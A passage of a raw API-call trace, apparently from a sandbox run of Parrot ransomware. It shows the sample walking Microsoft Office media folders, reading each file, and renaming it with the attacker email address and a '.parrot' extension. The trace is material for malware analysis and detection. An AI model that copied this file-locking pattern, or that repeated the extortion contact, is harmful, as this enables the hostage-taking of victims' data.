(lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18252_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18252_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.270] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.272] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.272] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.273] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.273] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6ac, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x6ac, lpOverlapped=0x0) returned 1 [0164.274] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18253_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18253_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.276] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6af250 | out: hHeap=0x5b0000) returned 1 [0164.278] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.278] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.280] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.280] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x796, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x796, lpOverlapped=0x0) returned 1 [0164.280] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.281] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18254_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18254_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.282] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.284] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.284] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.285] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.285] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x822, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x822, lpOverlapped=0x0) returned 1 [0164.286] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.286] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18255_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18255_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.287] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.289] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.289] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.291] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.291] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x8ac, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x8ac, lpOverlapped=0x0) returned 1 [0164.291] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.291] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18256_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18256_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.295] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.295] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.297] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.297] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x12ea, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x12ea, lpOverlapped=0x0) returned 1 [0164.298] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.298] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\BD18257_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\autoshap\\bd18257_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22617f0 | out: hHeap=0x5b0000) returned 1 [0164.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2264048 | out: hHeap=0x5b0000) returned 1 [0164.302] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\AUTOSHAP\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0164.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xedf5a620, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xedf5a620, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.304] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3da0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AUTOSHAP.DLL", cAlternateFileName="")) returned 1 [0164.305] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0164.307] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0164.307] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5178e0b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd42e760, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0164.309] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0164.309] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0164.309] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x992c8400, ftCreationTime.dwHighDateTime=0x1bd5de4, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x992c8400, ftLastWriteTime.dwHighDateTime=0x1bd5de4, nFileSizeHigh=0x0, nFileSizeLow=0x967, dwReserved0=0x0, dwReserved1=0x0, cFileName="BD10253_.GIF", cAlternateFileName="")) returned 1 [0164.367] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.367] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.369] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.369] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x967, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x967, lpOverlapped=0x0) returned 1 [0164.369] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.370] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.372] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.372] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.373] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0164.375] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.375] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.376] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.376] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf0, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xf0, lpOverlapped=0x0) returned 1 [0164.376] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.376] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0164.381] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.381] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.382] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.382] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xea, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xea, lpOverlapped=0x0) returned 1 [0164.382] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.382] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.384] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229c070 | out: hHeap=0x5b0000) returned 1 [0164.387] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.387] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.389] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.390] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x297, lpOverlapped=0x0) returned 1 [0164.390] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.390] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.392] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0164.393] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.394] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.394] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.394] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb9, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb9, lpOverlapped=0x0) returned 1 [0164.395] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.395] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.396] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69c668 | out: hHeap=0x5b0000) returned 1 [0164.405] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.405] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.406] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.406] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x134, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x134, lpOverlapped=0x0) returned 1 [0164.406] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.407] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6049a8 | out: hHeap=0x5b0000) returned 1 [0164.412] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.412] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0164.413] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.413] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb1, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0xb1, lpOverlapped=0x0) returned 1 [0164.413] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.413] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0164.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2267aa8 | out: hHeap=0x5b0000) returned 1 [0164.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0164.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x229e070 | out: hHeap=0x5b0000) returned 1 [0164.417] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0164.417] ReadFile (in: hFile=0x280, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, 